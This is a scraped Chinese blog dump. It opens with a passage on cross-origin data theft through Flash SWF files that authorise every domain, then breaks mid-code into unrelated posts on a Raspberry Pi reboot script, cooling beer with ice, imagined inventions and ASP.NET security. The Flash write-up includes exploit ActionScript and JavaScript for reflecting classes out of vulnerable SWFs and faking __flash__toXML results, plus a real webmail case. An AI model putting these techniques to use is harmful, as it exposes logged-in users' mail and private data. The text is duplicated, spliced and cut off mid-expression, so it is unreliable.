urlLoader:URLLoader = new URLLoader(); public function download(url:String) : void { urlLoader.load(new URLRequest(url)); ... } public function Vul() { Security.allowDomain('*'); ... } ... } 通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。 同时它也是主类,默认会被添加到 Loader 这个加载容器里。 // exp.swf var loader:Loader = new Loader(); loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void { var main:* = DisplayObjectContainer(loader).getChildAt(0); trace(main); // [object Vul] }); loader.load(new URLRequest('//swf-site/vul.swf')); 因为 Loader 是子 swf 的[默认容器](http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html#requestedContentParent),所以其中第一个元素显然就是子 swf 的主类:Vul。 由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0b907ec90c_6941baebjw1ersgw8e7csj20ay06dgma.jpg) main.download('//swf-site/data'); 同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件: var ld:URLLoader = main.urlLoader; ld.addEventListener('complete', function(e:Event) : void { trace(ld.data); }); 尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 `URLLoader 的 `load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。`` 于是攻击者从任意位置,跨站访问 swf-site 下的数据了。 更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。 如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。 > ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。 ### 类反射 通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。 如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了? 做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的? 事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。 因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。 开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作: // vul.swf public class Tool { public function getUrlData(url:String, cb:Function) : void { var ld:URLLoader = new URLLoader(); ld.load(new URLRequest(url)); ld.addEventListener('complete', function(e:Event) : void { cb(ld.data); }); ... } ... 在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用: // exp.swf var loader:Loader = new Loader(); loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void { var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool'); var obj:* = new cls; obj.getUrlData('http://victim-site/user-info', function(d:*) : void { trace(d); }); }); loader.load(new URLRequest('//swf-site/vul.swf')); 由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。 攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/89cc34d12a_6941baebjw1ersgw80qcrj20fb07aabq.jpg) 由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。 当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以: * 执行 Security.allowDomain(可控站点) * 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义 * 返回的数据可被获取 第一条:这就不用说了,反射的前提也是需要对方授权的。 第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。 第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。 也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。 同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。 因此我们还是得通过目标 swf 里的已有的功能,进行利用。 ## 案例 这里分享一个现实中的案例,之前已上报并修复了的。 这是 126.com 下的一个 swf,位于 `http://mail.126.com/js6/h/flashRequest.swf。` 反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了! ![](http://ww4.sinaimg.cn/mw690/6941baebjw1ersgw4lm6zj20c105qwfo.jpg) 同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的: ![](http://ww1.sinaimg.cn/mw690/6941baebjw1ersgw44vhlj20an09kq55.jpg) 我们将其反射出来,根据其规范调用,即可发起跨源请求了! 由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/203b46c362_6941baebjw1ersgw3innoj20ib0dw0v2.jpg) 甚至还可以读取用户的通信录,将恶意链接传播给更多的用户! ## 进阶 借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。 ### 进阶 No.1 —— 绕过路径检测 当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。 一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程: // vul-1.swf public function Main() { var host:String = ExternalInterface.call('function(){return window.location.host}'); if host not match white-list return Security.allowDomain('*'); ... 它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。 由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径? 因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。 不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。 在这个桥梁里,其中有一个叫 `__flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。` 显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它: // exp-1.js function handler(str) { console.log(str); return 'hi,jack'; } setInterval(function() { var rawFn = window.__flash__toXML; if (rawFn && rawFn != handler) { window.__flash__toXML = handler; } }, 1); 通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了! 为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 `__flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。` * * * 当然,即使不使用覆盖的方式,我们仍可以控制 `__flash__toXML 的返回结果。` 仔细分析下这个函数,其中调用了 `__flash__escapeXML:` function __flash__toXML(value) { var type = typeof(value); if (type == "string") { return "" + __flash__escapeXML(value) + ""; ... } function __flash__escapeXML(s) { return s.replace(/&/g, "&").replace(/ ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。 ### 类反射 通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。 如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了? 做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的? 事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。 因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。 开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作: // vul.swf public class Tool { public function getUrlData(url:String, cb:Function) : void { var ld:URLLoader = new URLLoader(); ld.load(new URLRequest(url)); ld.addEventListener('complete', function(e:Event) : void { cb(ld.data); }); ... } ... 在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用: // exp.swf var loader:Loader = new Loader(); loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void { var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool'); var obj:* = new cls; obj.getUrlData('http://victim-site/user-info', function(d:*) : void { trace(d); }); }); loader.load(new URLRequest('//swf-site/vul.swf')); 由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。 攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/13e9536749_6941baebjw1ersgw80qcrj20fb07aabq.jpg) 由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。 当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以: * 执行 Security.allowDomain(可控站点) * 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义 * 返回的数据可被获取 第一条:这就不用说了,反射的前提也是需要对方授权的。 第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。 第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。 也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。 同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。 因此我们还是得通过目标 swf 里的已有的功能,进行利用。 ## 案例 这里分享一个现实中的案例,之前已上报并修复了的。 这是 126.com 下的一个 swf,位于 `http://mail.126.com/js6/h/flashRequest.swf。` 反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了! ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/100ad35848_6941baebjw1ersgw4lm6zj20c105qwfo.jpg) 同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/100ad35848_6941baebjw1ersgw44vhlj20an09kq55.jpg) 我们将其反射出来,根据其规范调用,即可发起跨源请求了! 由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9bc7624205_6941baebjw1ersgw3innoj20ib0dw0v2.jpg) 甚至还可以读取用户的通信录,将恶意链接传播给更多的用户! ## 进阶 借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。 ### 进阶 No.1 —— 绕过路径检测 当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。 一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程: // vul-1.swf public function Main() { var host:String = ExternalInterface.call('function(){return window.location.host}'); if host not match white-list return Security.allowDomain('*'); ... 它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。 由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径? 因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。 不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。 在这个桥梁里,其中有一个叫 `__flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。` 显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它: // exp-1.js function handler(str) { console.log(str); return 'hi,jack'; } setInterval(function() { var rawFn = window.__flash__toXML; if (rawFn && rawFn != handler) { window.__flash__toXML = handler; } }, 1); 通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了! 为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 `__flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。` * * * 当然,即使不使用覆盖的方式,我们仍可以控制 `__flash__toXML 的返回结果。` 仔细分析下这个函数,其中调用了 `__flash__escapeXML:` function __flash__toXML(value) { var type = typeof(value); if (type == "string") { return "" + __flash__escapeXML(value) + ""; ... } function __flash__escapeXML(s) { return s.replace(/&/g, "&").replace(/>/var/log/checknet.log /sbin/reboot fi ---|--- 将上述脚本保存到/home/pi/mybash/checknet.sh, 并 chmod +xchecknet.sh使得可以执行。 最后你可以添加一条任务到crontab: sudo –scrontab –e 然后在最后添加: */5 * * * * /bin/bash /home/pi/mybash/checknet.sh 至此你就可以每五分钟检查一次是否能ping通百度,如果不行则重启并将重启时间写入日志 /var/log/checknet.log. --- ## 用保冷箱来冰冻啤酒,应该放多少冰?[译] Date: 2015-04-20 URL: https://blog.wo.ai/archives/935 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/43d8c58fe2_6855e771jw1ercdy40dujj20go0cht9m.jpg) **冷却饮料和酒最好的办法是放到冰里面。那么问题来了,要加多少冰呢?** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/545e21fac4_6855e771jw1ercdy4qs54j20go0b3gme.jpg) _注:文中的保冷箱(cooler)应该是这种东西_ **让我们先来假定一下:** > 如果你有N瓶啤酒,温度为室温22°C (约 72 °F)。 > 先准备好冰和啤酒,冰的温度就是0°C。 > 容器里面装满了水,为什么是水呢?这样可以用水的比热容。 > 多少水呢?标准容量是12液盎司,就是355毫升或者355克。 > 容器是铝制的,约15克。 > 保冷箱不会自带冰水化合物,可以在超市里买到。在啤酒降温时保证温度。 事物都有热能,温度越高,热能越多。我想做的就是将啤酒的热能转到冰上,关于温度有一点很酷:当你把东西接触一会儿,它们会达到同样的温度(不是相同的热能)。 因为冰是0°C,不会立刻升温,而是吸收能量先由冰化成水,接着水升温而啤酒开始降温,最后会剩下啤酒和水。虽然这不是你想要的,但这样确实有用。 温度改变需要多少热能?事实证明事物的热能变化取决于温度的变化、质量和比热容。 **∆Ethermal = mC∆T** 这里m指事物的质量,ΔT是温度变化,C是比热容。不同的事物有不同的比热容。这是为什么塑料咖啡杯不会烫伤你而里面同样温度的咖啡却可以。 当事物发生变化,例如从固体到液体,那么这就需要能量。所需的能量取决于质量和熔化潜热。现在估计一下,假设我有一罐苏打水或者说啤酒,那么我需要多少冰来使它降温?需要多冷?如果你不能下判断,没关系,我会让你搞清楚啤酒和冰的关系的。记住,假设啤酒的温度是22°C。 这里的关键是冰 (转为水) 的能量变化加上啤酒的能量必须是零。问题是冰的能量变化,假设所有的冰融化所需能量都来自啤酒,最终啤酒的温度可能会冰的其实温度还低。这正好符合能量守恒,但是这是不会发生的。在这种情况下,对象的变化温度会在两者温度达到相同时停止。 所以根据上面的理论,画出啤酒在冰水化合物的作用下温度变化的函数如下。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d1a8595ff_6855e771jw1ercdy596ltj20cn09n3yq.jpg) 箭头指的地方是啤酒能达到的最低温度,不会低于零度的,就是说加100克的冰你就可以从冰水化合物中拿出你的啤酒了。 以此类推,六支啤酒就需要600克冰。不过要现实一点,以上的假设都是认为啤酒的热能全部转到冰里。事实上,还有其它的热能会进入冰里,保冷箱或者箱外的热能。 假如冰吸收的热能40%来自啤酒,那么每支啤酒就需要250克冰,六支需要1.5kg,一打需要3kg。 那么换个方法呢?假如我买了一包10磅(4.5kg)重的冰,那能冷却多少啤酒呢?用上面的计算方法来算应该是18支啤酒。比较现实的做法就是用10磅的冰来冷却一打啤酒,这样既能达到你想要的温度,还能保持较长一段时间。 ### 相关文章 * [利用短信传播病毒案例调查](http://www.geekfan.net/9426/) * [苹果工程师用乐高积木打造可编程的绘图机 ](http://www.geekfan.net/4974/) * [10类禁用或者即将禁用谷歌眼镜的场所](http://www.geekfan.net/3198/) * [极客DIY:用树莓派制作低成本高清监控摄像机 [译]](http://www.geekfan.net/13828/) * [一个键盘多台电脑:QuickSynergy让分享更简单](http://www.geekfan.net/3202/) * [一组神奇的 3D Gif 动图](http://www.geekfan.net/6334/) * [Sismics Reader: Google Reader的一个本地替代品](http://www.geekfan.net/3263/) * [专为极客打造的19件礼物](http://www.geekfan.net/13371/) * [十个值得所有极客收藏的网站](http://www.geekfan.net/3270/) * [WigWag是一款精致实用的家庭自动化平台](http://www.geekfan.net/3187/) [用保冷箱来冰冻啤酒,应该放多少冰?[译]](http://www.geekfan.net/13821/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 脑洞大开:10 个应该存在的科技发明 Date: 2015-04-08 URL: https://blog.wo.ai/archives/931 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fbf15f3ba2_6855e771gw1eqy0c3uy7pj20hv0adtc8.jpg) _未来科技的发展总让我们有所遐想:我们的飞行汽车在哪里?_ 也许我们现在还不能开着一台定制化的 SUV 在空中遨游,但是自动驾驶和自动泊车系统表明,现代先进的科学技术离我们自动化,高度智能的生活方式越来越近。随着硅谷的精英们不断的在改变着我们的世 界,我们也迫不及待地憧憬着一些在生活中常见而简单的发明,这些简单的发明也能影响我们的生活,为我们带来许多便利。 让我们来看一看那些脑洞大开的想象力吧(万一哪天实现了呢)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d7982b9cd_6855e771gw1eqy0c4snflg20go0fiq8j.gif) 智能扫描仪:一个能识别婴儿身体健康状况的扫描仪(确定这不是 X 光?)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/922bdfbb63_6855e771gw1eqy0c5vjjqg20go0fiaia.gif) 变形衬衫:能根据天气状况自动变形的衬衫——在天热时变薄,在天冷时变厚(既有风度,也有温度)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2fea8946c5_6855e771gw1eqy0c6zhfxg20go0fidn1.gif) 幻影移形:一台能实现无线跨越输送,从而减少通勤时间的设备(咦,这不是电影《哈利波特》里的大招吗?我只是一个麻瓜啊)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d767f9ac99_6855e771gw1eqy0c7x8rvg20go0fiaf0.gif) 逆向微波炉:这不是一台普通的微波炉,而是一台能使任何事物迅速变冷/凉的微波炉(呃,那么我们加热食物的意义又是什么?)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76339ce06e_6855e771gw1eqy0c8viadg20go0figr9.gif) 超级吹风机:一台可以让我们在一分钟内就能吹干头发的吹风机(好棒!) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/68f30eea62_6855e771gw1eqy0c9ue55g20go0fiq8v.gif) 机器人宠物:当宠物主人不在家时,能陪猫猫狗狗们玩耍的机器人小伙伴(我只想养一只机器狗)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/49cd7e3e89_6855e771gw1eqy0canj0dg20go0fitdr.gif) 虚拟现实隐形眼镜:难道就没有人觉得虚拟现实眼镜就像一款潜水眼镜吗?如果能买到一对能实现虚拟现实的隐形眼镜,看待这个世界的时候会不会就更加立体了? ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b2a5c3c097_6855e771gw1eqy0cbtnjpg20go0fi10z.gif) 时光机:人人都有一台时光机的话,这个时空会不会错乱啊?历史会不会重写啊?地球会不会毁灭啊? ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8e09b47f88_6855e771gw1eqy0cct3ztg20go0fitej.gif) 「特技」鞋:看似一双普通平常的鞋子,但在下雨天或下雪天,一打响指,1秒钟变雨/雪靴(好像加了特技一样)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f81586763_6855e771gw1eqy0cdr4vxg20go0fiwkx.gif) 超级电池:电池永远都不需要充电(特斯拉电动车应该会大卖。嗯好像哪里不对,这违反质量守恒定律啊)。 ### 相关文章 * [10类禁用或者即将禁用谷歌眼镜的场所](http://www.geekfan.net/3198/) * [10个帮程序员减压放松的网站!](http://www.geekfan.net/13468/) * [在童话里穿行,全球首条发光公路投入使用](http://www.geekfan.net/12701/) * [10种受大自然启发的古怪概念车:仿生与移动](http://www.geekfan.net/4280/) * [如何用树莓派搭建一个低能耗的Minecraft服务器](http://www.geekfan.net/3809/) * [适合程序员的智能家居](http://www.geekfan.net/10051/) * [英国推无线充电巴士 10分钟能充电一半以上 ](http://www.geekfan.net/5480/) * [你可能不知道 智能手机还有这10个神奇功能](http://www.geekfan.net/9755/) * [多么忙碌的一天啊 – 为自己的个人项目挤出时间的10个绝妙的方法](http://www.geekfan.net/9057/) * [3D图制作超简单!用谷歌相机拍出3D立体动画照片](http://www.geekfan.net/9587/) [脑洞大开:10 个应该存在的科技发明](http://www.geekfan.net/13810/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## ASP.NET 安全 Date: 2015-03-30 URL: https://blog.wo.ai/archives/930 Categories: Uncategorized ### ### **概述** 安全在web领域是一个永远都不会过时的话题,今天我们就来看一看一些在开发ASP.NET MVC应用程序时一些值得我们注意的安全问题。本篇主要包括以下几个内容 : 1. 认证 2. 授权 3. XSS跨站脚本攻击 4. 跨站请求伪造 ### **认证** 所谓认证,简单的来说就是验证一个用户的身份。这取决于我们开发的站点的类型,是否允许匿名访问,是否是属于管理员或者其它角色的用户等等。也就是说我们的整个程序或者某些功能是针对某些特定的用户开发的,那么我们可能就要进行认证来确定用户的身份。需要注意的是,认证与授权是是完全不一样的概念,我们要区别对待。打个比方,在ASP.NET MVC里面允许某一类用户访问某个Action就是授权。 ASP.NET MVC中主要有两种认证机制 1. Forms 认证 2. Windows 认证 **Forms 认证** 从字面上我们就可以得到一些信息,基于表单的认证提供给用户一个表单可以输入用户名和密码,然后我们可以在我们的程序中写自己的逻辑去验证这些信息。ASP.NET MVC为Forms认证提供了很多支持,并且有很强自定义性。从通过表单登录到用户信息存储在什么地方,到怎么样去验证这些用户信息。Forms认证默认是依靠cookie技术实现的,一旦某个用户登录站点,那么用户所使用的这个浏览器就会得到一个cookie并且在后面所有与这个站点的其它请求中都会将这个cookie包含在http的头中。ASP.NET能够检测到这个cookie,这个cookie中包含了用户的认证信息,那么后面就不需要再重复的认证用户了。 **Windows认证** Windows 认证也就是大家熟悉的集成身份认证,因为它使用了集成在Windows操作系统中的用户组件来认证用户。一旦某个用户登录到域中,Windows能够在应用程序中自动认证他们。Windows认证一般在企业局域网内比较常用,一般企业局域网中所有的用户都需要用域身份来登录,这个有点像单点登录的体验,一旦进入域中就可以就可以很方便的同时登录域内的其它应用程序。 **配置Forms认证** 首先我们需要更改web.config中的authentication结点。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d195af63e5_5e4d414cgw1eqnq49bn9qj20az01hjrj.jpg) 这个配置信息很简单,首先我们要使用的authentication类型是Forms认证。通过loginUrl指定我们认证用户的页面。这个Account Controller和 Login View还有一些允许用户注册的View都被ASP.NET MVC的internet模板默认实现了。我们可以轻而易举在在ASP.NET MVC中实现Forms认证。 打开Visual Studio 2010 > New Project > Select ASP.NET MVC 4 Web Application 点击确认。 ![](http://ww2.sinaimg.cn/mw690/5e4d414cgw1eqnq7psgjuj20qa0ghafl.jpg) 然后选择Internet Application点击确认,Forms认证所需要的Controller 和View等等都会默认包含在我们的项目里面了。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/47064a3816_5e4d414cgw1eqnq49s6fdj20ir0gtq5j.jpg) Authorize 属性![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5d6d0fc40c_5e4d414cgw1eqnq4a2ei3j206502j3yi.jpg) Authorize不关注我们如何认证用户,我们既可以用Forms认证也可以用Windows认证。Authorize会去检测当前用户是否有身份信息。如果我们在Index上加上Authorize属性那么匿名用户就不能访问我们的Index Action了。他们会被跳转到Account/Login,也就是我们上面在web.config中配置的loginUrl。 **如何配置Windows认证** 和Forms认证一样,首先我们需要更改一下web.config中的authentication结点。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2793b6cec3_5e4d414cgw1eqnq4a8gnoj20cj01gweo.jpg) 然后同样地,应用Authorize属性到我们的Index Action上。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2428a5a43d_5e4d414cgw1eqnq4atp31j206502j3yi.jpg) 我们可以将Authorize应用到一个单独的Action上,也可以应用到一个Controller上。当我们在某一个Controller上应用Authorize属性时,也就意味着这个Controller下所有的Action都必须是经过认证的用户才允许访问 。 如果使用IIS Express的话,我们需要更改配置信息来启用Windows认证。否则我们就会得到以下错误页面。 ![](http://ww3.sinaimg.cn/mw690/5e4d414cgw1eqnqbkjm3hj20ff06naas.jpg) 我们可以到IIS Express的配置中去启用Windows认证,打开Windows Explorer进入我的文档> IIS Express > config > applicationhost.config。然后将windowsAuthentication enabled设置为true。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d79ec6c20_5e4d414cgw1eqnq4bgwhzj209603c74k.jpg) 然后我们就可以拿到一些用户的信息。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/62771b6aee_5e4d414cgw1eqnq4boywwj20ce04agls.jpg) ### **授权** 授权允许我们传递一些参数去设置规则,我们可以告诉Authroize属性只有某些具体用户才可以访问某个Action。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f0cbb59e6_5e4d414cgw1eqnq4c7efjj20il03igm1.jpg) 同时 ,我们还可以为Authorize属性指定 Roles。这些Roles默认匹配到我们web服务器的Windows Group或者是域管理器里面的用户组。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd94d758bb_5e4d414cgw1eqnq4ctygrj20hu03d0t6.jpg) 在Forms认证中, ASP.NET为我们提供了一个角色管理器(role provider)我们可以通过它来方便和将我们的角色信息存储到SQL中,并且进行管理。我们只需要点击一个按钮即可:![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec09cb8d4e_5e4d414cgw1eqnq4cv4k0j209j0533z8.jpg) 点击上面这个按钮之后,它会帮我们运行ASP.NET configuration tool。这个站点只能在本地运行,我们可以在这个站点管理我们的角色,这个站点默认使用的数据连接就是我们配置在web.config中的连接字符串。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d93205aaf3_5e4d414cgw1eqnq4d52rlj20nq0crwhm.jpg) ### **XSS跨站脚本攻击** 在web领域,有几个比较常见的安全隐患,其中一个比较流行的就是跨站脚本攻击。一些恶意的用户通过一些手段让我们的站点加载一些恶意的脚本,那么如果其它用户访问到这些脚本就有可能成为受害者。除了脚本,包括active-x控件,甚至一些恶意的Html都可以成为XSS的武器。XSS可以做到哪里事情 ? 1. 窃取cookie 2. 更改用户设置 3. 下载恶意软件 4. 更改内容 5. 账户劫持 简单的说,我们可以通过XSS访问用户的个人信息以及身份信息。 **XSS示例** ![](http://ww2.sinaimg.cn/mw690/5e4d414cgw1eqnq4dunjsj20dy0dn74s.jpg) 这是一个简单的录入员工信息的页面,我们输入一些html代码然后保存页面。ASP.NET默认会去检测我们的request,发现类似html代码会直接拒绝我们的请求。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/213c0ed8df_5e4d414cgw1eqnq4ez9i9j20zk07s0y4.jpg) 当然,有些时候我们需要允许用户输入html,那么只要在我们的Action上打上ValidateInput(false)即可。 ![](http://ww2.sinaimg.cn/mw690/5e4d414cgw1eqnq4ewfbaj20es03vmxs.jpg) 这样我们就可以成功的提交 我们的请求了。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e8e972fdd1_5e4d414cgw1eqns8io6lfj20c8067gm7.jpg) 如上图所示,这样我们又遇到了另外一个问题。在ASP.NET MVC中razor默认会对所有输出进行html编码。这是ASP.NET MVC针对XSS攻击的另一道防火墙。通过为属性打上AllowHtml属性,我们可以允许某一个属性包含html的值,这样我们就可以移除Action上的ValidateInput属性。通过Html.Raw 我们可以将html输出到客户端。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/30d76c4a2b_5e4d414cgw1eqnq4frl3tj20d703ejs4.jpg) **Anti XSS library** 如果我们允许用户输入html的话,有些人可能会尝试输入一些脚本 (不要说你没有想过在博客园输入一些脚本来玩玩?) 